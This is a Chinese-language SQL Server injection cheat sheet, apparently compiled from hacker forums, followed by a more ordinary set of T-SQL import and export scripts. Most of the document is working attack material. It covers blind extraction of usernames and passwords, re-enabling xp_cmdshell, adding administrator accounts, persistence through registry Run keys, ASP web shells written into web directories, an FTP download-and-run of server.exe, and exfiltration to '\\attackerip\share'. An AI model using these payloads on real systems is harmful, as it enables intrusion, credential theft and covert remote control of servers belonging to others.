mssql 注入
注入查阅
1、返回的是连接的数据库名
and db_name()>0
2、作用是获取连接用户名
and user>0
3、将数据库备份到Web目录下面
;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
4、显示SQL系统版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判断xp_cmdshell扩展存储过程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢复xp_cmdshell扩展存储的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向启动组中写入命令行和执行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看当前的数据库名称
and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--
9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)
10、则把得到的数据内容全部备份到WEB目录下
;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db'
11、通过复制CMD创建UNICODE漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe"
12、遍历系统的目录结构,分析结果并发现WEB虚拟目录
先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;--
通过查询temp的内容来获得驱动器列表及相关信息
(2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)
13、查看某个文件的内容,可以通过执行xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、将一个文本文件插入到一个临时表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
;delete from temp;--
16、浏览TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名
17、猜解所有数据库名称
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名
18、猜解数据库中用户名表的名称
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
19、判断是否是sysadmin权限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判断是否是SA用户
'sa'=(SELECT System_user)
21、查看数据库角色
;use model--
22、查看库名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、获得第一个用户建立表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假设要获得数据库是TestDB.dbo
24、获得第二个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、获得第三个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''中为第二个用户名
26、获得第四个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0 '',''中为第二,三个用户名
27、获得表中记录的条数
and (select count(*) from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等
28、测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp'; 请求的时候,像这样子用:
http://ip/l.asp?c=dir
31、猜解字段名称
猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
32、 猜解用户名与密码
ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值
and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),
33、建立数据表
;create table 表名 (列名1 数据类型,列名2 数据类型);--
34、向表格中插入数据
;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--
35、更新记录
update 表名 set 列名1='值'…… where ……
36、删除记录
delete from 表名 where ……
37、删除数据库表格
drop table 表名
38、将文本文件导入表
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000))
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
39、备份当前数据库的命令:
declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
40、使用sp_makewebtask处理过程的相关请求写入URL
; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
41、将获得SQLSERVER进程的当前工作目录中的目录列表
Exec master..xp_cmdshell 'dir'
42、将提供服务器上所有用户的列表
Exec master..xp_cmdshell 'net user'
43、读注册表存储过程
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
45、显示机器上有用的驱动器
Xp_availablemedia
46、允许获得一个目录树
Xp_dirtree
47、提供进程的进程ID,终止此进程
Xp_terminate_process
48、恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
49、堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"
50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
51、在数据库内添加一个hax用户
;exec sp_addlogin hax;--
52、给hax设置密码
;exec master.dbo.sp_password null,username,password;--
53、将hax添加到sysadmin组
;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
54、(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
55、(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
56、mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes
啊D注入的命令: //看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型
and char(124)%2Buser%2Bchar(124)=0 字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用户名
and user>0
' and user>0 and ''=' 检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 检测是不是MSSQL数据库
and exists (select * from sysobjects);-- 检测是否支持多行
;declare @d int;-- 恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判断xp_cmdshell扩展存储过程是否存在:
[url=http://192.168.1.5/display.asp?keyno=188]链接标记http://192.168.1.5/display.asp?keyno=188[/url] and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1 数据库备份
backup database pubs to disk = 'c:\123.bak' //爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa' 添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin 删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell' 添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public 停掉或激活某个服务。 exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule' dbo.xp_subdirs 只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' dbo.xp_makecab 将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' xp_terminate_process 停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID xp_terminate_process 2484 xp_unpackcab 解开压缩档。 xp_unpackcab 'c:\test.cab','c:\temp',1 某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null); //得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases //在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- 用 sp_makewebtask直接在web目录里写入一句话马:
[url=http://127.0.0.1/dblogin123.asp?username=123]链接标记http://127.0.0.1/dblogin123.asp?username=123'[/url];exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- //更新表内容
Update films SET kind = 'Dramatic' Where id = 123 //删除内容
delete from table_name where Stockid = 3
MSSQL下执行系统命令
假设我们已经连接一台1433的服务器, 那我们要如何来执行系统命令呢,这里我就给大家讲解下啦. 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO 通过上面的T-SQL语句就可以把这个扩展储存删了 我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll' 就还原了. 但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的 Drop PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO 还原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO 唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了 2)
看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗?
有写注册表三:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add 其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了 3)
declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server" 对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果,真的不能吗看下面的: declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str 先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的 ------------------------------------------
写到这儿该作个总结了上面三个办法可能大家都知道吧
下面的可能知道的人就少了
------------------------------------------ 4)
use msdb; --这儿不要是master哟
exec sp_add_job @job_name='czy82';
exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt';
exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
exec sp_start_job @job_name='czy82'; 利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
net start SQLSERVERAGENT 对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '你的SQL的服务器名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL' 不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell 5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章:[url=http://www.xfocus.net/vuln/vul_view.php?vul_id=2968]链接标记http://www.xfocus.net/vuln/vul_view.php?vul_id=2968[/url] USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate' 如果subsystem选的是:tsql,在生成的文件的头部有如下内容 ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
----------------------------------------------
hello, this file was created by the SQL Agent. (1 ?????) 所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的vbs文件到启动目录! 6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ > "\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,'' 这两个东东都还在测试试哟
让MSSQL的public用户得到一个本机的web shell:) sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312,
--@query='select ''<img src=vbscript:msgbox(now())>'''
--@query='select ''<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>'' '
@query='select ''
<%On Error Resume Next
Set oscript = Server.CreateObject("wscript.SHELL")
Set oscriptNet = Server.CreateObject("wscript.NETWORK")
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <>"")Then
szTempFile = "C:\" & oFileSys.GetTempName()
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML> '''
SQL语句导入导出各类文件
/******* 导出到excel
EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /*********** 导入Excel
Select *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /*动态文件名
declare @fn varchar(20),@s varchar(1000)
set @fn = 'c:\test.xls'
set @s ='''Microsoft.Jet.OLEDB.4.0'',
''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0'''
set @s = 'Select * FROM OpenDataSource ('+@s+')...sheet1$'
exec(@s)
*/ Select cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+' ' 转换后的别名
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /********************** EXCEL导到远程SQL
insert OPENDATASOURCE(
'SQLOLEDB',
'Data Source=远程ip;User ID=sa;Password=密码'
).库名.dbo.表名 (列名1,列名2)
Select 列名1,列名2
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /** 导入文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword' /** 导出文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword'
或
EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword' 导出到TXT文本,用逗号分开
exec master..xp_cmdshell 'bcp "库名..表名" out "d:\tt.txt" -c -t ,-U sa -P password' BULK Insert 库名..表名
FROM 'c:\test.txt'
WITH (
FIELDTERMINATOR = ';',
ROWTERMINATOR = '\n'
) --/* dBase IV文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料4.dbf]')
--*/ --/* dBase III文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料3.dbf]')
--*/ --/* FoxPro 数据库
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
--*/ /**************导入DBF文件****************/
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:\VFP98\data;
SourceType=DBF',
'select * from customer where country != "USA" order by country')
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句 insert into openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
select * from 表 说明:
SourceDB=c:\ 指定foxpro表所在的文件夹
aa.DBF 指定foxpro表的文件名. /*************导出到Access********************/
insert into openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表) select * from 数据库名..B表 /*************导入Access********************/
insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表) 文件名为参数
declare @fname varchar(20)
set @fname = 'd:\test.mdb'
exec('Select a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'',
'''+@fname+''';''admin'';'''', topics) as a ') Select *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...产品 ********************* 导入 xml 文件 DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc ='
<root>
<Customer cid= "C1" name="Janine" city="Issaquah">
<Order oid="O1" date="1/20/1996" amount="3.5" />
<Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied
</Order>
</Customer>
<Customer cid="C2" name="Ursula" city="Oelde" >
<Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue
white red">
<Urgency>Important</Urgency>
Happy Customer.
</Order>
<Order oid="O4" date="1/20/1996" amount="10000"/>
</Customer>
</root>
'
-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc -- Execute a Select statement using OPENXML rowset provider.
Select *
FROM OPENXML (@idoc, '/root/Customer/Order', 1)
WITH (oid char(5),
amount float,
comment ntext 'text()')
EXEC sp_xml_removedocument @idoc ??????? /**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件 假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开。 邹健:
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改. insert into
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Text;HDR=Yes;DATABASE=C:\'
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'
--,Sheet1$)
)...[Sheet1$] 如果你想直接插入并生成文本文件,就要用bcp declare @sql varchar(8000),@tbname varchar(50) --首先将excel表内容导入到一个全局临时表
select @tbname='[##temp'+cast(newid() as varchar(40))+']'
,@sql='select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into '+@tbname+' from
opendatasource(''MICROSOFT.JET.OLEDB.4.0''
,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls''
)...[Sheet1$]'
exec(@sql) --然后用bcp从全局临时表导出到文本文件
set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c'
exec master..xp_cmdshell @sql --删除临时表
exec('drop table '+@tbname) /********************导整个数据库*********************************************/ 用bcp实现的存储过程 /*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',1
----导出整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',1 --导入调用示例
----导入单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',0
----导入整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',0 */
if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200) --服务器名
,@username varchar(200) --用户名,如果用NT验证方式,则为空''
,@password varchar(200) --密码
,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt
,@isout bit --1为导出,0为导入
as
declare @sql varchar(8000) if @tbname like '%.%.%' --如果指定了表名,则直接导出单个表
begin
set @sql='bcp '+@tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+'" /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)<>'\' set @filename=@filename+'\' set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U'''
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql='bcp '+@tbname+'..'+@m_tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+@m_tbname+'.txt " /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
